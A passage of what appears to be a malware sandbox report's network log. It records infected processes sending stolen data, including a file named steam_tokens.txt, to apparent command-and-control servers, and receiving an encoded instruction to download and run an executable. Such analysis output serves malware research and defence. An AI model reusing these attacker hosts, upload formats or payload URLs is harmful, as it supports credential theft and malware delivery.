7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="file"------AFHDHCAAKECFIDHIEBAK--
Dec 16, 2024 13:17:45.942771912 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 16, 2024 13:17:46.033565044 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 2d 2d 0d 0a Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="message"ybncbhylepme------DGDBAKKJKKECGDGCAECA--
Dec 16, 2024 13:17:46.477972031 CET	271	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49975	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:28.233653069 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:28.592312098 CET	1060	OUT	Data Raw: 58 53 46 53 59 5a 54 5a 5d 5a 59 53 57 59 5a 5e 5a 52 5f 55 51 58 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XSFSYZTZ]ZYSWYZ^ZR_UQXREXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(Y1=/]'8X$[/] 79$</&">)!7$#Z*"F"#Y ,
Dec 16, 2024 13:17:29.318986893 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:29.555365086 CET	807	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2SN5%2BNWGNqTG5iEDqYQsy89m0J2hxp989gm5i%2Bfv%2B1AXYvyQilji8w4KhMfCtsRxg0eyD0bfMyNVyGz0wk%2F6S9T9WZm1GUDBe4gaYEaicxycRlp6SPVR1yYuaqsvqjOw%2F6NiIJWK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c4d4d75f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3883&min_rtt=1610&rtt_var=5150&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=73748&cwnd=79&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49981	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:29.811181068 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:30.170398951 CET	1056	OUT	Data Raw: 58 55 43 51 5c 5a 54 58 5d 5a 59 53 57 5b 5a 54 5a 51 5f 5e 51 53 52 41 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XUCQ\ZTX]ZYSW[ZTZQ_^QSRAXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ <?!=.$$08Y$.("*:#?8<1:=.547,>8"F"#Y (

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49983	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:30.776917934 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1920 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:31.123733044 CET	1920	OUT	Data Raw: 58 56 43 55 59 50 54 59 5d 5a 59 53 57 5c 5a 53 5a 55 5f 5e 51 5e 52 46 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XVCUYPTY]ZYSW\ZSZU_^Q^RFXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ X??->$Y'? 79:+<+R$2>R*=5Z#8)"F"#Y
Dec 16, 2024 13:17:31.863290071 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:32.102425098 CET	959	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CPFCIf45%2BXqF1SqgbgvnmtD1jq%2FiLKFioYnjg%2BS%2B8YqSwcNbZA4y6MI5dI%2BJwwbKur3xF0Q5d7VfHp2i3OK4OTtRZmXlDbXx6KjlHwnxLH5LGkbAFyTBidW%2FoLKi1eNmXHgTY2Mc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c5d295d19bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4664&min_rtt=1935&rtt_var=6184&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2263&delivery_rate=61419&cwnd=212&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 39 55 33 3d 22 11 21 3d 2f 14 2a 2f 0a 1f 30 0d 39 5c 2d 3c 30 44 26 30 3d 03 25 54 35 5a 24 37 2c 04 23 21 01 08 24 21 06 1c 32 1d 23 5d 01 1b 24 19 27 3e 08 59 28 3f 22 13 24 0e 3e 46 25 10 3b 44 27 27 28 53 25 23 2c 0f 22 38 3e 10 38 54 22 13 28 11 2b 16 2e 20 25 58 20 3e 21 52 0d 13 22 51 30 16 39 07 30 0f 38 01 34 0a 27 58 22 1a 28 0b 24 5a 37 18 24 2a 24 11 30 01 21 01 32 2b 2f 16 2a 2b 21 0a 34 31 23 0c 3f 04 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 989U3="!=//09\-<0D&0=%T5Z$7,#!$!2#]$'>Y(?"$>F%;D''(S%#,"8>8T"(+. %X >!R"Q09084'X"($Z7$$0!2+/*+!41#? R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49984	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:30.996767044 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:31.342633963 CET	1060	OUT	Data Raw: 5d 56 43 51 59 58 51 58 5d 5a 59 53 57 53 5a 51 5a 5f 5f 5c 51 5d 52 47 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]VCQYXQX]ZYSWSZQZ__\Q]RGXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _?%>-;073'Z#*4-:??#%2.W>%7(("F"#Y
Dec 16, 2024 13:17:32.082324982 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:32.322866917 CET	804	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GZXFd6mYC5I0UALTskljiH4O0Q2Gh0FrwZBDB1X8x%2FFIluJXvMbis9Ud2bvV3w2OdeuyZTUcaRnLabBnWLQz428HL0hFEtdXl3MN5rjK11p5SGvA%2BpOqEgR%2F8DPfxnxQR4rlbYZq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c5e88ec0c78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4232&min_rtt=1647&rtt_var=5789&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=65377&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49989	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:32.598575115 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:32.951669931 CET	1060	OUT	Data Raw: 58 50 46 53 59 5f 54 5a 5d 5a 59 53 57 5f 5a 56 5a 50 5f 5f 51 5e 52 42 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XPFSY_TZ]ZYSW_ZVZP__Q^RBXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ [(?&W>>/\3'3>3^":,)4(;R&2"=.&48>"F"#Y 4
Dec 16, 2024 13:17:33.693268061 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:33.933779001 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wEi%2FJHQCOd913%2FM2UmhaTHJMRUqGVDwcK8L0gXnYHj3hW%2BdkA3mYCVLlUNUu14ERz0Ex2Ad%2BO1fZ1eJJ2GrVoT5eif3lxg29HMiEWJTLxRWw97KVY8PwkjrXanx7A%2BbPtjjIiwmn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c689c554205-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4054&min_rtt=1601&rtt_var=5507&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=68780&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49993	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:34.210256100 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:34.561644077 CET	1060	OUT	Data Raw: 5d 56 43 51 59 5d 54 5a 5d 5a 59 53 57 5c 5a 5f 5a 57 5f 55 51 59 52 47 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]VCQY]TZ]ZYSW\Z_ZW_UQYRGXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ )/%)[0'0$\%-'\ (Y:9#X?;+W12W==^#'X="F"#Y
Dec 16, 2024 13:17:35.296962023 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:35.543016911 CET	804	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JJe3vtgg8EIEFYMXMfDihDIdbdextbAJV1Cr3Rb5XXhL2Rah7tRZKBnhrmgfqhLmLrssnJ5Zi1IEFu%2BW8vg7CaRoWkvbPnAx%2FmD13ms4amuUPJ0r5Fyu6wMp9GjY%2BnaQyFk1wl0U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c72a9db3300-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5107&min_rtt=2028&rtt_var=6919&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=54753&cwnd=235&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49999	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:35.497699022 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016099001&unit=246122658369
Dec 16, 2024 13:17:36.845953941 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	50000	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:35.808998108 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:36.154836893 CET	1060	OUT	Data Raw: 5d 50 46 51 59 5f 51 59 5d 5a 59 53 57 5a 5a 54 5a 52 5f 5d 51 5a 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]PFQY_QY]ZYSWZZTZR_]QZRCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _(Y>>;X' 7074'-:7]?]31)*>:#>"F"#Y
Dec 16, 2024 13:17:36.893982887 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:37.139374018 CET	804	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UohKZe%2FYp8lwssLAoOLyutYUi%2B8sBtjR9p0gRARusorhpc3oafct86ulE55p4TN1mXpqnCNGHHOZC2T562LU6HZDLv3sHRbndCW2xwBBWw%2FyvW3If11yf2Cr90zw5xHZd4AzptQY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c7caae7422d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4240&min_rtt=1553&rtt_var=5958&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=63324&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	50007	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:37.250123978 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1940 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:37.608001947 CET	1940	OUT	Data Raw: 58 56 46 56 59 5b 51 58 5d 5a 59 53 57 59 5a 57 5a 50 5f 5c 51 5c 52 40 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XVFVY[QX]ZYSWYZWZP_\Q\R@XRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ _??1>?0?%-(4<.:;](%"-==)#?>"F"#Y ,
Dec 16, 2024 13:17:38.337842941 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:38.578360081 CET	955	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x%2BVAL1yqEtXZEA8bUzh3LoF6mQ33HYo2fxRlL2aKaVdz3ZKANY8jh1mOggpRShi7fQh35kTn%2FWaFltrCSLmrlfA%2F96wpAnd0%2BJUjwlT0rfkqW3uRDnl3QWjuK7tlLdYl1Qgp4VRY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c85a9544346-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4318&min_rtt=2367&rtt_var=4791&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2283&delivery_rate=81192&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 09 24 04 3d 03 37 10 09 57 2b 2f 38 1f 33 23 25 5e 2f 2c 28 08 26 0d 0f 03 26 0c 3a 02 25 37 3b 5e 34 1f 06 55 25 32 3c 56 31 37 23 5d 01 1b 27 0b 33 3e 2a 16 3c 06 2d 02 24 23 2e 41 26 07 34 1c 25 1d 2b 0c 32 20 23 56 36 2b 3d 04 38 0c 0c 1e 2b 06 2c 05 2c 30 00 01 37 14 21 52 0d 13 21 0c 24 3b 32 1d 27 22 27 5c 37 0d 23 5a 35 42 28 0b 33 3c 2c 0d 32 04 3c 5a 30 06 36 5e 25 01 3c 04 29 5e 39 0e 34 1c 20 1d 2b 14 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:$=7W+/83#%^/,(&&:%7;^4U%2<V17#]'3>*<-$#.A&4%+2 #V6+=8+,,07!R!$;2'"'\7#Z5B(3<,2<Z06^%<)^94 + R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	50010	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:37.428533077 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:37.786387920 CET	1060	OUT	Data Raw: 58 51 46 56 5c 5c 51 5e 5d 5a 59 53 57 5a 5a 54 5a 56 5f 5c 51 5d 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XQFV\\Q^]ZYSWZZTZV_\Q]RCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ X)/6R*- 3^%-3 : .)+(%1&W)) 7="F"#Y
